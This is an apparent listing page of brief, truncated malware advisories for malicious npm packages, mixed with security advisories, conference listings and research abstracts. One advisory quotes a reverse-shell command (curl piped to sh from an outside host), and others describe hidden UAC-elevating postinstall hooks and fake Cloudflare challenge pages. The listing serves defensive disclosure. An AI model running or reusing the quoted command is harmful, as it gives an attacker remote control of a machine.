Malicious code in bmgki3g6fh3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9212dc22bc5983b7b163b7851e76596bda812485709581a8dd61475630db4450 The package contains a single file, index.html, declared as main. The page renders a spoofed Cloudflare 'Just a moment...' / Turnstile 'security...

MAL-2026-13818 Malicious code in jkbnwsdf8 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8e67b8d2fe8ba4fcec395d1fa7497515b41f2e4edc7f25e12c2b4b4abcebe358 The package contains a single file, index.html, declared as the package main. The HTML is styled as a Cloudflare Turnstile 'Just a moment...' challen...

MAL-2026-13791 Malicious code in china_airlines (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9a78be97ab9e11940bb49de80859b21f1de27b8f078bad4067b227fbc99d2413 The package chinaairlines contains no JavaScript library code. Its package.json declares "main": "index.html", and the shipped index.html is a fake...

MAL-2026-13778 Malicious code in @bikli/bikli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47a9677012577b19f49cd85cc6455abea3b1363e77a54030901ecf916b04c50b No static or traced indicators of supply-chain attack behavior were observed in this package version. No lifecycle scripts fetching or executing remo...

Malicious code in biklirouter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa35b0b8fe046a8dd43a4307742214223c3f908b5ba65fa6d24dae18b33cff9b Package ships a compiled Next.js application server routes under app/.next-cli-build/server/app/api/ implementing an LLM/AI-provider router: OAuth...

Malicious code in @bikli/cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 494fd55b20aca27d1d7353454574b7575074d84eee1367b6854c159f274c4dcc No a static rule matches and no traced behavioral findings were produced for this package version. The scanned files contain no evidence of...

Malicious code in bikliwrapper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7404df615e8b246acda595b16f7282cea11addcf7a3d3148c1463a65b4d25852 bikliwrapper's npm postinstall script re-executes itself with UAC elevation Start-Process -Verb RunAs -WindowStyle Hidden and, after the single UAC...

Malicious code in @bikli/bikli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47a9677012577b19f49cd85cc6455abea3b1363e77a54030901ecf916b04c50b No static or traced indicators of supply-chain attack behavior were observed in this package version. No lifecycle scripts fetching or executing remo...

Malicious code in biklimaster (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16fe526cf29535e21a0d1c3206405e20d0447ca01f25ea46dc9569ab52066555 The npm postinstall hook node bin/biklimaster.js install --postinstall prompts for UAC elevation and then reconfigures the installer's Windows host...

MAL-2026-13787 Malicious code in biklirouter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa35b0b8fe046a8dd43a4307742214223c3f908b5ba65fa6d24dae18b33cff9b Package ships a compiled Next.js application server routes under app/.next-cli-build/server/app/api/ implementing an LLM/AI-provider router: OAuth...

MAL-2026-13779 Malicious code in @bikli/cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 494fd55b20aca27d1d7353454574b7575074d84eee1367b6854c159f274c4dcc No a static rule matches and no traced behavioral findings were produced for this package version. The scanned files contain no evidence of...

MAL-2026-13788 Malicious code in bikliwrapper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7404df615e8b246acda595b16f7282cea11addcf7a3d3148c1463a65b4d25852 bikliwrapper's npm postinstall script re-executes itself with UAC elevation Start-Process -Verb RunAs -WindowStyle Hidden and, after the single UAC...

Black Hat Europe 2023 Conference Slides

Black Hat Europe 2023 conference slides for topics Unmasking APTs: An Automated Approach for Real-World Threat Attribution, How I Learned to Stop Worrying and Build a Modern Detection & Response Program, The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread...

Malicious code in cc-skills-helper (npm)

The npm package cc-skills-helper is a Windows-only supply-chain dropper published as seven versions 1.0.0 through 1.0.6 in a single 8-hour burst on 2026-04-25 by npm user betatester44676 [email protected], then abandoned. dist-tags.latest points at 1.0.6. All seven versions share the same...

A Comparison of Malware Image Transformations Using Grad-CAM and Hybrid Learning Models

Recent studies have shown that binary-to-image representations can enable effective machine learning-based results for malware detection and classification. However, performance can vary significantly, depending on the technique used to convert binaries to images. Furthermore, the explainability...

Fedora 44 : clamav (2026-ecf6fe868f)

The remote Fedora 44 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2026-ecf6fe868f advisory. 1.4.6 Tenable has extracted the preceding description block directly from the Fedora security advisory. Note that Nessus has not tested for these...

PT-2026-72135

Уязвимость движка Microsoft Malware Protection Engine Защитника Microsoft Windows Defender операционных систем Windows связана с ошибками синхронизации при использовании общего ресурса. Эксплуатация уязвимости может позволить нарушителю раскрыть защищаемую информацию и получить полный контроль на...

Weaponized AI: The Commoditization of Cybercrime

Weaponized AI: The Commoditization of Cybercrime By Jambul Tologonov · August 12, 2026 Executive Summary The Trellix Advanced Research Center has been actively monitoring dark web forums and criminal communication channels for emerging threats tied to artificial intelligence AI. What we are...

Malicious code in internallib_v164 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86 index.js exports a function that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh", fetching a reverse-shell script from...

MAL-2026-13764 Malicious code in internallib_v164 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86 index.js exports a function that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh", fetching a reverse-shell script from...